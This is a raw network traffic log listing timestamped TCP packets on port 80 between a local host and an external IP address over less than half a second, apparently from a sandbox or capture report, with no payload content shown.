Dec 18, 2024 20:56:39.556022882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.556036949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.556071043 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.557074070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.557111025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.558233023 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.558379889 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.558394909 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.559832096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.559850931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.559863091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.559883118 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.559900045 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.561078072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.561090946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.562061071 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.562201977 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.562215090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.563401937 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.563415051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.563463926 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.564585924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.564599037 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.564610004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.564627886 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.564642906 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.565803051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.565817118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.565860987 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.567023993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.567043066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.567215919 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.568214893 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.568233967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.568273067 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.569494009 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.569506884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.569544077 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.570837975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.570856094 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.570868969 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.570904970 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.571962118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.571988106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.572022915 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.573206902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.574081898 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.575659037 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.575678110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.576898098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.576910973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.576965094 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.578253031 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.578265905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.578278065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.578332901 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.579433918 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.579447031 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.579494953 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.580637932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.580651045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.581957102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.581969976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.582019091 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.583132982 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.583146095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.583154917 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.583199024 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.584405899 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.584425926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.585619926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.585635900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.585695982 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.586764097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.634598017 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.717276096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.717560053 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.717993021 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.718208075 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.718666077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.719024897 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.719276905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.719285965 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.720362902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.720433950 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.720894098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.721502066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.721508980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.721654892 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.722605944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.723140001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.723699093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.723706007 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.723789930 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.724855900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.725402117 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.725409985 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.725464106 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.726499081 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.727206945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.727215052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.727334023 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.728301048 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.728307962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.728379011 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.729319096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.729326963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.729446888 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.730403900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.730412960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.731618881 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.731626034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.731738091 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.732829094 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.732836962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.733064890 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.733747005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.733753920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.733828068 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.735023022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.735033989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.735975027 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.736001015 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.736016035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.736138105 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.737154961 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.737169981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.737221003 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.738344908 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.738358021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.739690065 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.739828110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.739835024 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.739892960 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.740674019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.740681887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.740731955 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.741657019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.741663933 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.741734028 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.742819071 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.742825031 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.743638039 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.744179964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.744189978 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.744400024 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.744999886 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.745006084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.745069981 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.746109009 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.746115923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.746531010 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.747200012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.747206926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.747267008 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.748425961 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.748433113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.749644995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.749651909 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.749728918 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.750610113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.750617981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.750674009 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.751744032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.751750946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.751969099 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.752815008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.752831936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.752885103 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.754081964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.754087925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.754318953 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.755189896 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.755197048 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.755328894 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.757642031 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.757648945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.757742882 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.758869886 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.760138035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.760196924 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.761354923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.761369944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.761538982 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.762567997 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.762574911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.762690067 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.763863087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.763870001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.763931036 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.765115976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.765124083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.765177965 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.766290903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.766299009 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.766309023 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.766350031 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.767538071 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.768634081 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.768744946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.768753052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.769159079 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.769998074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.770015001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.771009922 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.771274090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.771282911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.771327019 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.772491932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.772500038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.772675037 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.773813963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.773822069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.773833990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.773881912 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.774988890 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.774996042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.776170969 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.776181936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.776243925 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.777473927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.777481079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.777760983 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.778855085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.778862000 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.778995037 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.779911995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.779918909 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.779974937 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.911320925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.911850929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.911859035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.912026882 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.912771940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.913383007 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.913389921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.913486958 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.914247036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.914717913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.915136099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.915143013 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.915257931 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.916213036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.916769028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.917342901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.917350054 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.917447090 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.918461084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.918987036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.919038057 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.919576883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.919589043 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.919666052 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.920711994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.921295881 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.921303034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.921410084 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.922494888 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.922502995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.922615051 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.923592091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.923696041 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.924010038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.924614906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.924622059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.924680948 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.925829887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.926243067 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.926278114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.926287889 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.927412987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.927422047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.927501917 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.928513050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.928520918 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.928651094 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.929682970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.929689884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.929758072 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.930893898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.930902004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.930964947 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.931931019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.931945086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.932997942 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.933007956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.933036089 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.933414936 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.934079885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.934093952 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.935230017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.935236931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.935333967 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.936548948 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.936558962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.937463045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.937469959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.937592030 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.938549995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.938561916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.939719915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.939727068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.939821005 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.940829992 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.940838099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.940929890 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.942043066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.942050934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.942296028 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.943007946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.943032980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.943095922 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.944184065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.944195986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.945393085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.945400000 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.945472002 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.946345091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.946352005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.947253942 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.947709084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.947747946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.947886944 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.949126959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.949136019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.949947119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.949954033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.950068951 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.951093912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.951102972 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.951966047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.951982975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.952061892 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.954629898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.954638958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.955368996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.955375910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.955446959 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.956150055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.956157923 CET	80	49747	185.185.71.170	192.168.2.3
